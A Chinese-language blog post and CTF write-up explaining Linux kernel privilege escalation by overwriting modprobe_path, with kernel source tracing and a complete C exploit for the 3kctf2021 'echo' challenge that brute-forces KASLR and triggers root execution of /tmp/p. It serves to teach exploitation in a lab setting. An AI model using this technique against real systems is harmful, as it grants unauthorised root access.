利用modprobe_path提权

前言

现常用的提权方式为commit_creds(prepare_kernel_cred(0)去获得root凭证后返回用户态执行system("/bin/sh")。现有另一种方法,则是通过改写modprobe_path完成提权操作。

modprobe_path

modprobe_path中存储了一个名为modprobe的程序

image-20230710165233466

modprobe是一个最初由Rusty Russell编写的Linux程序,用于向Linux 内核添加可加载内核模块或从内核中删除可加载内核模块。

并且modprobe_path是存储在内核空间中的,因此若内核存在任意地址写的漏洞,可以通过向该地址写入值,从而修改modprobe_path指向的程序。

image-20230710165556855

接下来调试分析一下,什么时候modprobe_path指向的程序会被执行。我们首先准备一个不符合标准的文件,即文件头任意生成。

1
echo -ne "\xff\xff\xff\xff" > test

test传到文件系统中,文件系统使用的是syzkaller所提供的https://github.com/google/syzkaller

1
scp -i ./bullseye.id_rsa -P 10021 ./test root@localhost:/home

这里需要注意的是要给测试文件一个可执行的权限

image-20230710170505040

在执行一个错误文件头的文件时,函数调用栈如下图。

image-20230710170637462

我们从search_binary_handler函数开始分析,这里推荐用https://elixir.bootlin.com/linux审计linux的源码,可以快速搜索定位到函数。

search_binary_handler

search_binary_handler函数实际就是找到能够解析指定文件的模块,从而解析文件。

image-20230710171235704

list_for_each_entry开始遍历模块

image-20230710183845127

若找到会将point_of_no_return标记为1,反之则没有找到

image-20230710183941270

当遍历了所有模块都没有找到能够解析文件的模块,则会进入request_module函数进行模块的加载

image-20230710184242467

在进入该函数之前,会将bprm->buf作为参数,而变量存储的是文件头的信息,因此模块的加载依靠的是文件头信息

image-20230710184426768

request_module

request_module是一个宏定义,实际为__request_module函数

image-20230710184703061

在该函数中实际也只是调用了call_modprobe

image-20230710185103883

call_modprobe

call_modprobe函数中,会将modprobe_path传递给argv[0],最后使用call_usermodehelper_setup在用户空间中创建一个子进程,该函数创建的子进程会以root身份进行运行,这也是为什么覆盖modprobe_path,可以完成提权的原因。

image-20230710185615698

改写modprobe_path流程

  • 首先需要获得modprobe_path的地址
1
cat /proc/kallsyms  | grep modprobe_path
  • 接着程序需要能够进行任意地址写,并利用任意地址写往modprobe_path写入需要执行的程序名
  • 构造一个非法的文件头,如ffffffff,促使内核进入call_modprobe函数

3kctf2021-echo

题目地址:https://github.com/h0pe-ay/Kernel-Pwn/tree/master/3kctf2021/echo

题目只提供了一个echo.c的文件,出题者在内核中新增了一个系统调用,调用号为548。与常规的内核题目不一样,该题目只是新增了一个系统调用,而没有加载额外的模块。

image-20230710190915595

跟普通题目一样,flag.txt需要root权限才能够进行读取。

image-20230710191612998

start.sh

题目开启了smepsmapkpti以及kaslr保护

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/bin/sh

exec qemu-system-x86_64 \
-m 128M \
-nographic \
-kernel "./bzImage" \
-append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on kaslr" \
-no-reboot \
-cpu qemu64,+smep,+smap \
-monitor /dev/null \
-initrd "./initramfs.cpio.gz" \
-smp 2 \
-smp cores=2 \
-smp threads=1 \

题目分析

由于题目只提供了新的系统调用,因此需要从该调用作为切入进行漏洞的利用。虽然题目提供了任意地址写的功能,但是没办法进行ROP的利用。因此该题需要使用改写modprobe_path从而能够读取flag.txt文件。

但是题目开启了KASLR的保护并且没有泄露地址的方法,因此需要通过爆破法去猜出modprobe_path的位置。这里需要注意的点是下标i需要设置为unsigned long,若设置为int会发生溢出,可能就无法覆盖到modprobe_path的位置了。

image-20230710192132084

我们还需要构造两个文件,一个是/tmp/p文件,该文件是一个shell文件,文件内容为读取flag.txt的内容并放置在/tmp/flag,第二个则是非法文件头的文件,将文件头构造为ffffffff,去触发call_modprobe函数的调用。这里需要注意的点是这两个文件都需要赋予执行权限。

image-20230710192227948

当改写完成后在执行/tmp/exec,此时内核会进入call_modprobe函数,通过调用call_usermodehelper_setup函数,在用户空间中新建一个子进程,该进程为modprobe_path中指向的文件。运行完exp可以发现modprobe_path的指向被修改为/tmp/p

image-20230710192842247

exp

完整exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#define _GNU_SOURCE
#include <unistd.h>
#include <sys/syscall.h>
#include <stdio.h>
#include <stdlib.h>

void setup()
{
system("echo -ne '#!/bin/sh\ncat /flag.txt > /tmp/flag' > /tmp/p");
system("chmod a+x /tmp/p");
system("echo -ne '\xff\xff\xff\xff' > /tmp/exec");
system("chmod a+x /tmp/exec");
}

void getflag()
{
system("/tmp/exec ; cat /tmp/flag");
}
unsigned long offset = 0x37cc0;
unsigned long base = 0xffffffff00000000;
unsigned long target;
int main()
{
setup();

for (unsigned long i = 0; i < 4096; i++)
{

target = base + i*0x100000 + offset;
printf("0x:%lx\n", target);
syscall(548, target, "/tmp/p");
}

/*
unsigned long target = 0xffffffff81837cc0;
syscall(548, target, "/tmp/p");
*/
getflag();
}

参考链接

https://github.com/MaherAzzouzi/3k21-pwn/tree/main/echo

https://lkmidas.github.io/posts/20210223-linux-kernel-pwn-modprobe/#

https://www.anquanke.com/post/id/236126


利用modprobe_path提权
https://h0pe-ay.github.io/利用modprobe_path提权/
作者
hope
发布于
2024年3月18日
许可协议